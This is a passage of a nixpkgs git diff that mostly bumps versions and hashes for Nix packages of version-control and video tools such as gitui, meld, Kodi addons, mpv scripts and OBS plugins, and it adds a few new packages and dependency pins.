pkg-config installShellFiles ]; buildInputs = [ curl ] ++ (if stdenv.isDarwin then [ libiconv Security SystemConfiguration ] else [ openssl ]); + preFixup = lib.optionalString canRunCmd '' + installShellCompletion --cmd gix \ + --bash <(${gix} completions --shell bash) \ + --fish <(${gix} completions --shell fish) \ + --zsh <(${gix} completions --shell zsh) + ''; + # Needed to get openssl-sys to use pkg-config. env.OPENSSL_NO_VENDOR = 1; diff --git a/pkgs/applications/version-management/gitui/default.nix b/pkgs/applications/version-management/gitui/default.nix index 257d7fd4aacc0..d626585b97c5c 100644 --- a/pkgs/applications/version-management/gitui/default.nix +++ b/pkgs/applications/version-management/gitui/default.nix @@ -12,16 +12,16 @@ rustPlatform.buildRustPackage rec { pname = "gitui"; - version = "0.24.3"; + version = "0.25.1"; src = fetchFromGitHub { owner = "extrawurst"; repo = pname; rev = "v${version}"; - hash = "sha256-mT5toF4mKRP0dlwlfKHjmFFQJ/cWSb2vwg1uZbhZRhI="; + hash = "sha256-+u0XvZb42RRlQnQUZHrMXRJU+31CDy/oLYQ55tLlmUg="; }; - cargoHash = "sha256-8j0NtJB2ErrpljPHSMRD/4IGZuqA8wLuzPnuQqxaXRg="; + cargoHash = "sha256-3FBrJvLSuDehCy+o7valkf5LSuMkD2loD2JPQO4+3sY="; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/applications/version-management/legit-web/default.nix b/pkgs/applications/version-management/legit-web/default.nix index a14b7c22bd4bc..3c42284702d2a 100644 --- a/pkgs/applications/version-management/legit-web/default.nix +++ b/pkgs/applications/version-management/legit-web/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "legit"; - version = "0.2.1"; + version = "0.2.2"; src = fetchFromGitHub { repo = "legit"; owner = "icyphox"; rev = "v${version}"; - hash = "sha256-Y0lfbe4xBCj80z07mLFIiX+shvntYAHiW2Uw7h94jrE="; + hash = "sha256-TBq1ILBhojMIxnLj108L0zLmFsZD/ET9w5cSbqk8+XM="; }; - vendorHash = "sha256-RAUSYCtP4rcJ2zIBXfPAEZWD1VSfr3d4MrmUMiPpjK8="; + vendorHash = "sha256-IeWgmUNkBU3W6ayfRkzMO/0XHNqm5zy5lLUNePzv+ug="; postInstall = '' mkdir -p $out/lib/legit/templates diff --git a/pkgs/applications/version-management/meld/default.nix b/pkgs/applications/version-management/meld/default.nix index e43448fd2f1d1..563e7362d51d1 100644 --- a/pkgs/applications/version-management/meld/default.nix +++ b/pkgs/applications/version-management/meld/default.nix @@ -18,13 +18,13 @@ python3.pkgs.buildPythonApplication rec { pname = "meld"; - version = "3.22.0"; + version = "3.22.1"; format = "other"; src = fetchurl { url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz"; - sha256 = "sha256-P8EHyY7251NY/9Kw0UyF3bSP4UoR6TmpQyL6qo6QxA0="; + sha256 = "sha256-bdO9MtvUNBq6djD7lTd393x3aB7qIjazZB1iKo+QaDY="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/version-management/sourcehut/default.nix b/pkgs/applications/version-management/sourcehut/default.nix index b951a34e89163..4a1311d578be3 100644 --- a/pkgs/applications/version-management/sourcehut/default.nix +++ b/pkgs/applications/version-management/sourcehut/default.nix @@ -31,6 +31,7 @@ let # sourcehut is not (yet) compatible with SQLAlchemy 2.x sqlalchemy = super.sqlalchemy_1_4; + # sourcehut is not (yet) compatible with flask-sqlalchemy 3.x flask-sqlalchemy = super.flask-sqlalchemy.overridePythonAttrs (oldAttrs: rec { version = "2.5.1"; format = "setuptools"; @@ -45,6 +46,26 @@ let ]; }); + # flask-sqlalchemy 2.x requires flask 2.x + flask = super.flask.overridePythonAttrs (oldAttrs: rec { + version = "2.3.3"; + src = fetchPypi { + inherit (oldAttrs) pname; + inherit version; + hash = "sha256-CcNHqSqn/0qOfzIGeV8w2CZlS684uHPQdEzVccpgnvw="; + }; + }); + + # flask 2.x requires werkzeug 2.x + werkzeug = super.werkzeug.overridePythonAttrs (oldAttrs: rec { + version = "2.3.8"; + src = fetchPypi { + inherit (oldAttrs) pname; + inherit version; + hash = "sha256-VUslfHS763oNJUFgpPj/4YUkP1KlIDUGC3Ycpi2XfwM="; + }; + }); + # sourcehut is not (yet) compatible with factory-boy 3.x factory-boy = super.factory-boy.overridePythonAttrs (oldAttrs: rec { version = "2.12.0"; @@ -55,11 +76,11 @@ let }; nativeCheckInputs = (with super; [ django - flask mongoengine pytestCheckHook ]) ++ (with self; [ sqlalchemy + flask flask-sqlalchemy ]); postPatch = ""; diff --git a/pkgs/applications/version-management/stgit/default.nix b/pkgs/applications/version-management/stgit/default.nix index 63213cc38b7a7..06de22c65b194 100644 --- a/pkgs/applications/version-management/stgit/default.nix +++ b/pkgs/applications/version-management/stgit/default.nix @@ -18,15 +18,15 @@ rustPlatform.buildRustPackage rec { pname = "stgit"; - version = "2.4.4"; + version = "2.4.5"; src = fetchFromGitHub { owner = "stacked-git"; repo = "stgit"; rev = "v${version}"; - hash = "sha256-KyyvTyPJ4LJ/H2rqutPlswrjINR+V8mJNi6iq8Om1j0="; + hash = "sha256-zESuJJ68CCTGSDwGBeguAV78KETp+FUKnNNJx+4zorw="; }; - cargoHash = "sha256-Vlv2NRB4iggG3aCZwNZWhl7KfmYxryG2joY0jnBFhZ0="; + cargoHash = "sha256-ITR6RREx55q3hxYrHj+fOv0C8fAzphR4q/A5tTd9CDg="; nativeBuildInputs = [ pkg-config installShellFiles makeWrapper asciidoc xmlto docbook_xsl diff --git a/pkgs/applications/version-management/tortoisehg/default.nix b/pkgs/applications/version-management/tortoisehg/default.nix index 7e830e1077a5e..e4ad91a8713fe 100644 --- a/pkgs/applications/version-management/tortoisehg/default.nix +++ b/pkgs/applications/version-management/tortoisehg/default.nix @@ -7,11 +7,11 @@ python3Packages.buildPythonApplication rec { pname = "tortoisehg"; - version = "6.2.2"; + version = "6.6.3"; src = fetchurl { url = "https://www.mercurial-scm.org/release/tortoisehg/targz/tortoisehg-${version}.tar.gz"; - sha256 = "sha256-Xbvg/FcuX/AL2reWsaM2oaFyLby3+HDCfYtRyswE7DA="; + sha256 = "sha256-9pg1N5uj1ZaZCAm4N8toRwfVHme7nAsNMZkXSRgFves="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/version-management/vcsh/default.nix b/pkgs/applications/version-management/vcsh/default.nix index b764e6bb768c4..1477695506e64 100644 --- a/pkgs/applications/version-management/vcsh/default.nix +++ b/pkgs/applications/version-management/vcsh/default.nix @@ -8,11 +8,11 @@ stdenv.mkDerivation rec { pname = "vcsh"; - version = "2.0.7"; + version = "2.0.8"; src = fetchurl { url = "https://github.com/RichiH/vcsh/releases/download/v${version}/${pname}-${version}.tar.xz"; - sha256 = "sha256-Rx5yBCDRqFNyhP0Pfoo2upn7t4Yh5hxTgNKmMtaY/08="; + sha256 = "sha256-VgRA3v5PIKwizmXoc8f/YMoMCDGFJK/m2uhq3EsT1xQ="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/video/ani-cli/default.nix b/pkgs/applications/video/ani-cli/default.nix index 375a930b02940..f4d174474df23 100644 --- a/pkgs/applications/video/ani-cli/default.nix +++ b/pkgs/applications/video/ani-cli/default.nix @@ -21,13 +21,13 @@ assert withMpv || withVlc || withIina; stdenvNoCC.mkDerivation rec { pname = "ani-cli"; - version = "4.7"; + version = "4.8"; src = fetchFromGitHub { owner = "pystardust"; repo = "ani-cli"; rev = "v${version}"; - hash = "sha256-Ll4bHKrDZukoQX35iiMI6rMSgiTC6wp7fHUnOMPagOA="; + hash = "sha256-vntCiWaONndjU622c1BoCoASQxQf/i7yO0x+70OxzPU="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/applications/video/catt/default.nix b/pkgs/applications/video/catt/default.nix index 8b1c74ee66ccc..608236d688300 100644 --- a/pkgs/applications/video/catt/default.nix +++ b/pkgs/applications/video/catt/default.nix @@ -4,7 +4,25 @@ , python3 }: -python3.pkgs.buildPythonApplication rec { +let + python = python3.override { + packageOverrides = self: super: { + pychromecast = super.pychromecast.overridePythonAttrs (_: rec { + version = "13.1.0"; + + src = fetchPypi { + pname = "PyChromecast"; + inherit version; + hash = "sha256-COYai1S9IRnTyasewBNtPYVjqpfgo7V4QViLm+YMJnY="; + }; + + postPatch = ""; + }); + }; + }; +in + +python.pkgs.buildPythonApplication rec { pname = "catt"; version = "0.12.11"; format = "pyproject"; @@ -22,11 +40,11 @@ python3.pkgs.buildPythonApplication rec { }) ]; - nativeBuildInputs = with python3.pkgs; [ + nativeBuildInputs = with python.pkgs; [ poetry-core ]; - propagatedBuildInputs = with python3.pkgs; [ + propagatedBuildInputs = with python.pkgs; [ click ifaddr pychromecast diff --git a/pkgs/applications/video/crunchy-cli/default.nix b/pkgs/applications/video/crunchy-cli/default.nix deleted file mode 100644 index 3efeeb8544d43..0000000000000 --- a/pkgs/applications/video/crunchy-cli/default.nix +++ /dev/null @@ -1,45 +0,0 @@ -{ lib -, stdenv -, clangStdenv -, darwin -, xcbuild -, openssl -, pkg-config -, rustPlatform -, fetchFromGitHub -}: - -rustPlatform.buildRustPackage.override { stdenv = clangStdenv; } rec { - pname = "crunchy-cli"; - version = "3.0.0-dev.10"; - - src = fetchFromGitHub { - owner = "crunchy-labs"; - repo = pname; - rev = "v${version}"; - hash = "sha256-uc19SmVfa5BZYDidlEgV6GNvcm9Dj0mSjdwHP5S+O4A="; - }; - - cargoHash = "sha256-H3D55qMUAF6t45mRbGZl+DORAl1H1a7AOe+lQP0WUUQ="; - - nativeBuildInputs = [ - pkg-config - ] ++ lib.optionals stdenv.isDarwin [ - xcbuild - ]; - - buildInputs = [ - openssl - ] ++ lib.optionals stdenv.isDarwin [ - darwin.apple_sdk.frameworks.Security - ]; - - meta = with lib; { - description = "A pure Rust written Crunchyroll cli client and downloader"; - homepage = "https://github.com/crunchy-labs/crunchy-cli"; - license = with licenses; [ gpl3 ]; - maintainers = with maintainers; [ stepbrobd ]; - mainProgram = "crunchy-cli"; - }; -} - diff --git a/pkgs/applications/video/davinci-resolve/default.nix b/pkgs/applications/video/davinci-resolve/default.nix index 283658a0dbd4c..e920654869189 100644 --- a/pkgs/applications/video/davinci-resolve/default.nix +++ b/pkgs/applications/video/davinci-resolve/default.nix @@ -31,7 +31,7 @@ let davinci = ( stdenv.mkDerivation rec { pname = "davinci-resolve${lib.optionalString studioVariant "-studio"}"; - version = "18.6.4"; + version = "18.6.5"; nativeBuildInputs = [ (appimage-run.override { buildFHSEnv = buildFHSEnvChroot; } ) @@ -52,8 +52,8 @@ let outputHashAlgo = "sha256"; outputHash = if studioVariant - then "sha256-Us8DsxdGwBxUL+yUHT9DNJFIV7EO+J9CSN2Juyf8VQ4=" - else "sha256-yPdfmS42ID7MOTB3XlGXfOqp46kRLR8martJ9gWqDjA="; + then "sha256-Ua5R0G4okBpz9SyyA2zn6nVflY9AlWch7Kx6PrW/nMg=" + else "sha256-oCK7w5jB7h4PSKg2IJwriyAVi/kj4TurloBcfDAe6BQ="; impureEnvVars = lib.fetchers.proxyImpureEnvVars; diff --git a/pkgs/applications/video/filebot/default.nix b/pkgs/applications/video/filebot/default.nix index fd779bf0bf813..738bd9418f000 100644 --- a/pkgs/applications/video/filebot/default.nix +++ b/pkgs/applications/video/filebot/default.nix @@ -10,11 +10,11 @@ let }; in stdenv.mkDerivation (finalAttrs: { pname = "filebot"; - version = "5.1.2"; + version = "5.1.3"; src = fetchurl { url = "https://web.archive.org/web/20230917142929/https://get.filebot.net/filebot/FileBot_${finalAttrs.version}/FileBot_${finalAttrs.version}-portable.tar.xz"; - hash = "sha256-+5I0t67asbCwaMCuqI/ixRHNAdcLTziuYOfepVThoPk="; + hash = "sha256-1TkCV3Cjg/5YZODceV5mQDsPYk09IU7+UHwPRwt2vAQ="; }; unpackPhase = "tar xvf $src"; diff --git a/pkgs/applications/video/freetube/default.nix b/pkgs/applications/video/freetube/default.nix index ef41f49d7a0f2..98b486ce26555 100644 --- a/pkgs/applications/video/freetube/default.nix +++ b/pkgs/applications/video/freetube/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "freetube"; - version = "0.19.1"; + version = "0.19.2"; src = fetchurl { url = "https://github.com/FreeTubeApp/FreeTube/releases/download/v${version}-beta/freetube_${version}_amd64.AppImage"; - sha256 = "add96ad3509d4d5c6d8658b005dfd046963cd6bb0a4e1f3e88f726a86c05810f"; + sha256 = "sha256-GhlU02CmglHUzVTqoajXFS1E6WXxXjxRTdiDEDqsH8s="; }; passthru.tests = nixosTests.freetube; diff --git a/pkgs/applications/video/frigate/default.nix b/pkgs/applications/video/frigate/default.nix index 6a93401d985d0..9aee25c46ce55 100644 --- a/pkgs/applications/video/frigate/default.nix +++ b/pkgs/applications/video/frigate/default.nix @@ -3,19 +3,20 @@ , python3 , fetchFromGitHub , fetchurl +, fetchpatch2 , frigate , nixosTests }: let - version = "0.13.1"; + version = "0.13.2"; src = fetchFromGitHub { #name = "frigate-${version}-source"; owner = "blakeblackshear"; repo = "frigate"; rev = "refs/tags/v${version}"; - hash = "sha256-2J7DhnYDX9ubbsk0qhji/vIKDouy9IqQztzbdPj2kxo="; + hash = "sha256-NVT7yaJkVA7b7GL0S0fHjNneBzhjCru56qY1Q4sTVcE="; }; frigate-web = callPackage ./web.nix { @@ -58,6 +59,14 @@ python.pkgs.buildPythonApplication rec { inherit src; + patches = [ + (fetchpatch2 { + name = "frigate-flask3.0-compat.patch"; + url = "https://github.com/blakeblackshear/frigate/commit/56bdacc1c661eff8a323e033520e75e2ba0a3842.patch"; + hash = "sha256-s/goUJxIbjq/woCEOEZECdcZoJDoWc1eM63sd60cxeY="; + }) + ]; + postPatch = '' echo 'VERSION = "${version}"' > frigate/version.py @@ -97,6 +106,7 @@ python.pkgs.buildPythonApplication rec { click flask imutils + markupsafe matplotlib norfair numpy diff --git a/pkgs/applications/video/kodi/addons/iagl/default.nix b/pkgs/applications/video/kodi/addons/iagl/default.nix index 92a877fe84005..1665a613bc084 100644 --- a/pkgs/applications/video/kodi/addons/iagl/default.nix +++ b/pkgs/applications/video/kodi/addons/iagl/default.nix @@ -3,13 +3,13 @@ buildKodiAddon rec { pname = "iagl"; namespace = "plugin.program.iagl"; - version = "3.0.6"; + version = "3.0.9"; src = fetchFromGitHub { owner = "zach-morris"; repo = "plugin.program.iagl"; rev = version; - sha256 = "sha256-fwPrNDsEGoysHbl9k9cRYKlr3MxDRiUmJhSsWVT2HHQ="; + sha256 = "sha256-b8nO3D/xTnj/5UDshGlIJdiHd75VhIlkrGUi0vkZqG4="; }; propagatedBuildInputs = [ diff --git a/pkgs/applications/video/kodi/addons/jellyfin/default.nix b/pkgs/applications/video/kodi/addons/jellyfin/default.nix index 36e8aa4a02250..1e570ab511313 100644 --- a/pkgs/applications/video/kodi/addons/jellyfin/default.nix +++ b/pkgs/applications/video/kodi/addons/jellyfin/default.nix @@ -5,13 +5,13 @@ in buildKodiAddon rec { pname = "jellyfin"; namespace = "plugin.video.jellyfin"; - version = "0.7.10"; + version = "0.7.12"; src = fetchFromGitHub { owner = "jellyfin"; repo = "jellyfin-kodi"; rev = "v${version}"; - sha256 = "sha256-hR4cJEpP/RZH24M4Ma33ZUe9oydRg7CyP1hHncvDW8Y="; + sha256 = "sha256-m8msTBim4Ss8XaYqIn6GWXxoCio5ABbqhhgyb1T/Yhg="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/video/kodi/addons/mediathekview/default.nix b/pkgs/applications/video/kodi/addons/mediathekview/default.nix new file mode 100644 index 0000000000000..890567d5d6d5f --- /dev/null +++ b/pkgs/applications/video/kodi/addons/mediathekview/default.nix @@ -0,0 +1,25 @@ +{ lib, buildKodiAddon, fetchFromGitHub, myconnpy }: + +buildKodiAddon rec { + pname = "mediathekview"; + namespace = "plugin.video.mediathekview"; + version = "1.0.9"; + + src = fetchFromGitHub { + owner = pname; + repo = namespace; + rev = "release-${version}"; + hash = "sha256-XYyocXFTiYO7Ar0TtxjpCAy2Ywtnwb8BTxdKxwDWm4Y="; + }; + + propagatedBuildInputs = [ + myconnpy + ]; + + meta = with lib; { + homepage = "https://github.com/mediathekview/plugin.video.mediathekview"; + description = "Access media libraries of German speaking broadcasting stations"; + license = licenses.mit; + maintainers = teams.kodi.members; + }; +} diff --git a/pkgs/applications/video/kodi/addons/svtplay/default.nix b/pkgs/applications/video/kodi/addons/svtplay/default.nix index db4fbb642c05c..7cc94bc435a51 100644 --- a/pkgs/applications/video/kodi/addons/svtplay/default.nix +++ b/pkgs/applications/video/kodi/addons/svtplay/default.nix @@ -2,13 +2,13 @@ buildKodiAddon rec { pname = "svtplay"; namespace = "plugin.video.svtplay"; - version = "5.1.12"; + version = "5.1.21"; src = fetchFromGitHub { owner = "nilzen"; repo = "xbmc-" + pname; rev = "v${version}"; - sha256 = "04j1nhm7mh9chs995lz6bv1vsq5xzk7a7c0lmk4bnfv8jrfpj0w6"; + sha256 = "sha256-CZtBUqFaKtMmKcpfBQp0Mb8sVvpCTkqcpfdYe41YSJs="; }; meta = with lib; { diff --git a/pkgs/applications/video/kodi/addons/youtube/default.nix b/pkgs/applications/video/kodi/addons/youtube/default.nix index 3d3683ed87760..83afc51053ba8 100644 --- a/pkgs/applications/video/kodi/addons/youtube/default.nix +++ b/pkgs/applications/video/kodi/addons/youtube/default.nix @@ -3,13 +3,13 @@ buildKodiAddon rec { pname = "youtube"; namespace = "plugin.video.youtube"; - version = "7.0.2.2"; + version = "7.0.3.2"; src = fetchFromGitHub { owner = "anxdpanic"; repo = "plugin.video.youtube"; rev = "v${version}"; - hash = "sha256-BUeE/8oQYBiq4XgIp4nv0hjEQz3nnkDWCnAf4kpptwk="; + hash = "sha256-gJ7RGB0pSG/iLdpmXHpQOoQTisXnMl1Mgd0KYFgg2qI="; }; propagatedBuildInputs = [ diff --git a/pkgs/applications/video/kodi/unwrapped.nix b/pkgs/applications/video/kodi/unwrapped.nix index 0728fb73bb262..894e54b28f51a 100644 --- a/pkgs/applications/video/kodi/unwrapped.nix +++ b/pkgs/applications/video/kodi/unwrapped.nix @@ -23,6 +23,7 @@ , joystickSupport ? true, cwiid , nfsSupport ? true, libnfs , pulseSupport ? true, libpulseaudio +, pipewireSupport ? true, pipewire , rtmpSupport ? true, rtmpdump , sambaSupport ? true, samba , udevSupport ? true, udev @@ -38,15 +39,15 @@ assert usbSupport -> !udevSupport; # libusb-compat-0_1 won't be used if udev is assert gbmSupport || waylandSupport || x11Support; let - kodiReleaseDate = "20240109"; - kodiVersion = "20.3"; + kodiReleaseDate = "20240302"; + kodiVersion = "20.5"; rel = "Nexus"; kodi_src = fetchFromGitHub { owner = "xbmc"; repo = "xbmc"; rev = "${kodiVersion}-${rel}"; - hash = "sha256-OMm8WhTQiEZvu8jHOUp2zT4Xd4NU3svMobW2k8AAtNI="; + hash = "sha256-R/tzk3ZarJ4BTR312p2lTLezeCEsqdQH54ROsNIoJZA="; }; # see https://github.com/xbmc/xbmc/blob/${kodiVersion}-${rel}/tools/depends/target/ to get suggested versions for all dependencies @@ -140,6 +141,7 @@ in stdenv.mkDerivation { ++ lib.optional joystickSupport cwiid ++ lib.optional nfsSupport libnfs ++ lib.optional pulseSupport libpulseaudio + ++ lib.optional pipewireSupport pipewire ++ lib.optional rtmpSupport rtmpdump ++ lib.optional sambaSupport samba ++ lib.optional udevSupport udev diff --git a/pkgs/applications/video/media-downloader/default.nix b/pkgs/applications/video/media-downloader/default.nix index 2b9244186e760..b0a40aaa8a340 100644 --- a/pkgs/applications/video/media-downloader/default.nix +++ b/pkgs/applications/video/media-downloader/default.nix @@ -12,13 +12,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "media-downloader"; - version = "4.2.0"; + version = "4.3.1"; src = fetchFromGitHub { owner = "mhogomchungu"; repo = "media-downloader"; rev = finalAttrs.version; - hash = "sha256-hQLrs4RyHUtcG03h0nCn3uMsHEskGKMVwUkcssGZQLs="; + hash = "sha256-+vPGfPncb8f5c9OiBmpMvvDh3X6ZMHPbyngcDfrP9qQ="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/video/mpv/default.nix b/pkgs/applications/video/mpv/default.nix index 01a875d667b7a..163729d879b9a 100644 --- a/pkgs/applications/video/mpv/default.nix +++ b/pkgs/applications/video/mpv/default.nix @@ -227,6 +227,10 @@ in stdenv'.mkDerivation (finalAttrs: { cp mpv_identify.sh umpv $out/bin/ popd pushd $out/share/applications + + # patch out smb protocol reference, since our ffmpeg can't handle it + substituteInPlace mpv.desktop --replace-fail "smb," "" + sed -e '/Icon=/ ! s|mpv|umpv|g; s|^Exec=.*|Exec=umpv %U|' \ mpv.desktop > umpv.desktop printf "NoDisplay=true\n" >> umpv.desktop diff --git a/pkgs/applications/video/mpv/scripts/mpv-playlistmanager.nix b/pkgs/applications/video/mpv/scripts/mpv-playlistmanager.nix index 874263f7b2d20..5287c7f21108d 100644 --- a/pkgs/applications/video/mpv/scripts/mpv-playlistmanager.nix +++ b/pkgs/applications/video/mpv/scripts/mpv-playlistmanager.nix @@ -2,13 +2,13 @@ buildLua rec { pname = "mpv-playlistmanager"; - version = "unstable-2023-11-28"; + version = "unstable-2024-02-26"; src = fetchFromGitHub { owner = "jonniek"; repo = "mpv-playlistmanager"; - rev = "579490c7ae1becc129736b7632deec4f3fb90b99"; - hash = "sha256-swOtoB8UV/HPTpQRGXswAfUYsyC2Nj/QRIkGP8X1jk0="; + rev = "1911dc053951169c98cfcfd9f44ef87d9122ca80"; + hash = "sha256-pcdOMhkivLF5B86aNuHrqj77DuYLAFGlwFwY7jxkDkE="; }; passthru.updateScript = unstableGitUpdater {}; diff --git a/pkgs/applications/video/mpv/scripts/mpvacious.nix b/pkgs/applications/video/mpv/scripts/mpvacious.nix index c30c450a28c00..d6c5389b3277f 100644 --- a/pkgs/applications/video/mpv/scripts/mpvacious.nix +++ b/pkgs/applications/video/mpv/scripts/mpvacious.nix @@ -9,13 +9,13 @@ buildLua rec { pname = "mpvacious"; - version = "0.25"; + version = "0.26"; src = fetchFromGitHub { owner = "Ajatt-Tools"; repo = "mpvacious"; rev = "v${version}"; - sha256 = "sha256-XTnib4cguWFEvZtmsLfkesbjFbkt2YoyYLT587ajyUM="; + sha256 = "sha256-QPLJC6SxocvOPeY6qI8q+EyXNGVef3J/Z38W0/rzFCg="; }; passthru.updateScript = gitUpdater { rev-prefix = "v"; diff --git a/pkgs/applications/video/multiviewer-for-f1/default.nix b/pkgs/applications/video/multiviewer-for-f1/default.nix index 7a51720ec5d85..46e425992c155 100644 --- a/pkgs/applications/video/multiviewer-for-f1/default.nix +++ b/pkgs/applications/video/multiviewer-for-f1/default.nix @@ -23,15 +23,15 @@ , xorg }: let - id = "123219506"; + id = "154421934"; in stdenvNoCC.mkDerivation rec { pname = "multiviewer-for-f1"; - version = "1.26.2"; + version = "1.31.3"; src = fetchurl { url = "https://releases.multiviewer.dev/download/${id}/multiviewer-for-f1_${version}_amd64.deb"; - sha256 = "sha256-nibPVqc4B3PHF/3wR5FsYZGVkkReQjy+4glfdnBysSU="; + sha256 = "sha256-lFES+ukkI/GqKQdZwtaB+ov0hqAyFZ2N533LBKJ9oXg="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/video/obs-studio/plugins/obs-3d-effect.nix b/pkgs/applications/video/obs-studio/plugins/obs-3d-effect.nix index c17cd1ec502b7..d897af9a8b8cb 100644 --- a/pkgs/applications/video/obs-studio/plugins/obs-3d-effect.nix +++ b/pkgs/applications/video/obs-studio/plugins/obs-3d-effect.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation rec { pname = "obs-3d-effect"; - version = "0.0.2"; + version = "0.1.0"; src = fetchFromGitHub { owner = "exeldro"; repo = "obs-3d-effect"; rev = version; - sha256 = "sha256-1frLQo+0/HxTIkZ57rnQjVOos5+bv2cLojslSCGo+gU="; + sha256 = "sha256-CAWx1wgk6G+9O7PkplrTg7uCmb8Yt6U3Z6YMVsq7IrQ="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/applications/video/obs-studio/plugins/obs-move-transition.nix b/pkgs/applications/video/obs-studio/plugins/obs-move-transition.nix index a5d63ec687468..3068718b08f01 100644 --- a/pkgs/applications/video/obs-studio/plugins/obs-move-transition.nix +++ b/pkgs/applications/video/obs-studio/plugins/obs-move-transition.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation rec { pname = "obs-move-transition"; - version = "2.9.8"; + version = "2.10.0"; src = fetchFromGitHub { owner = "exeldro"; repo = "obs-move-transition"; rev = version; - sha256 = "sha256-GOLmwXAK2g8IyI+DFH2sBOR2iknYdgYevytZpt3Cc7Q="; + sha256 = "sha256-HMhIGOslAtk5npunRZkOcFQZDSIB7c8qcFW3l9kgkzo="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/applications/video/obs-studio/plugins/obs-shaderfilter.nix b/pkgs/applications/video/obs-studio/plugins/obs-shaderfilter.nix index 195b2d6e17699..3f037d916aa23 100644 --- a/pkgs/applications/video/obs-studio/plugins/obs-shaderfilter.nix +++ b/pkgs/applications/video/obs-studio/plugins/obs-shaderfilter.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation rec { pname = "obs-shaderfilter"; - version = "2.0.0"; + version = "2.3.0"; src = fetchFromGitHub { owner = "exeldro"; repo = "obs-shaderfilter"; rev = version; - sha256 = "sha256-CEe/NUIYhVdvs7/ZvrvuwKPRNofWE+WZxN6yN8RACs8="; + sha256 = "sha256-3xMCMsjnEF5aNKBNMhSMAgKuaDnNP+3+uN1u76+Te+8="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/applications/video/obs-studio/plugins/obs-vertical-canvas.nix b/pkgs/applications/video/obs-studio/plugins/obs-vertical-canvas.nix index 3b5824f345292..c6e9f450b9907 100644 --- a/pkgs/applications/video/obs-studio/plugins/obs-vertical-canvas.nix +++ b/pkgs/applications/video/obs-studio/plugins/obs-vertical-canvas.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "obs-vertical-canvas"; - version = "1.3.1"; + version = "1.4.1"; src = fetchFromGitHub { owner = "Aitum"; repo = "obs-vertical-canvas"; rev = version; - sha256 = "sha256-kJJepKUH/tc6iV/zFDtrAa4bM9Gaqc9M7IItytknkGA="; + sha256 = "sha256-baEF8vcAmac4bwpzJnGE2WczTa6vojjRQ/oEKgYeXgk="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/applications/video/obs-studio/plugins/waveform/default.nix b/pkgs/applications/video/obs-studio/plugins/waveform/default.nix index ff5c52380de78..4bbcc65555363 100644 --- a/pkgs/applications/video/obs-studio/plugins/waveform/default.nix +++ b/pkgs/applications/video/obs-studio/plugins/waveform/default.nix @@ -9,14 +9,14 @@ stdenv.mkDerivation rec { pname = "waveform"; - version = "1.7.0"; + version = "1.8.0"; src = fetchFromGitHub { fetchSubmodules = true; owner = "phandasm"; repo = "waveform"; rev = "v${version}"; - sha256 = "sha256-DR3+ZBbWoGybUvDwVXLvarp+IGsTPl9Y0mFe739Ar8E="; + sha256 = "sha256-NcBtj+5X9tPH853a6oXzQCBH26hx8Yt17WjP9ryvgmc="; }; nativeBuildInputs = [ cmake pkg-config ]; diff --git a/pkgs/applications/video/open-in-mpv/default.nix b/pkgs/applications/video/open-in-mpv/default.nix index 4af06adf347e7..e6f820528882e 100644 --- a/pkgs/applications/video/open-in-mpv/default.nix +++ b/pkgs/applications/video/open-in-mpv/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "open-in-mpv"; - version = "2.1.0-unstable-2023-05-13"; + version = "2.2.0"; src = fetchFromGitHub { owner = "Baldomo"; repo = "open-in-mpv"; - rev = "07fc639b2882a9a68e539f0fc34b61e247c355fa"; - hash = "sha256-XkoXvSh5uu96isXc1at36mxSCPylHgMLN97qSpj2cyc="; + rev = "v${version}"; + hash = "sha256-+sP8/wILBkT3NnhENDYZbOwqOufkFyMJFpQxquuUBEs="; }; vendorHash = "sha256-G6GZO2+CfEAYcf7zBcqDa808A0eJjM8dq7+4VGZ+P4c="; diff --git a/pkgs/applications/video/qctools/default.nix b/pkgs/applications/video/qctools/default.nix new file mode 100644 index 0000000000000..cbe565fe73c87 --- /dev/null +++ b/pkgs/applications/video/qctools/default.nix @@ -0,0 +1,40 @@ +{ lib, stdenv, fetchurl, qmake, wrapQtAppsHook, ffmpeg, qtmultimedia, qwt }: + +stdenv.mkDerivation rec { + pname = "qctools"; + version = "1.3.1"; + + src = fetchurl { + url = "https://mediaarea.net/download/source/${pname}/${version}/${pname}_${version}.tar.xz"; + hash = "sha256-ClF8KiVjV2JTCjz/ueioojhiHZf8UW9WONaJrIx4Npo="; + }; + + sourceRoot = "${pname}/Project/QtCreator"; + + nativeBuildInputs = [ qmake wrapQtAppsHook ]; + + buildInputs = [ ffmpeg qtmultimedia qwt ]; + + installPhase = '' + runHook preInstall + + install -Dt $out/bin qctools-cli/qcli qctools-gui/QCTools + cd ../GNU/GUI + install -Dm644 qctools.desktop $out/share/applications/qctools.desktop + install -Dm644 qctools.metainfo.xml $out/share/metainfo/qctools.metainfo.xml + cd ../../../Source/Resource + install -Dm 0644 Logo.png $out/share/icons/hicolor/256x256/apps/qctools.png + install -Dm 0644 Logo.png $out/share/pixmaps/qctools.png + cd ../../Project/QtCreator + + runHook postInstall + ''; + + meta = with lib; { + description = "Audiovisual analytics and filtering of video files"; + homepage = "https://mediaarea.net/QCTools"; + license = licenses.gpl3Only; + maintainers = with maintainers; [ orivej ]; + platforms = platforms.linux; + }; +} diff --git a/pkgs/applications/video/shotcut/default.nix b/pkgs/applications/video/shotcut/default.nix index dce78f3cdf906..ca3c0599a6264 100644 --- a/pkgs/applications/video/shotcut/default.nix +++ 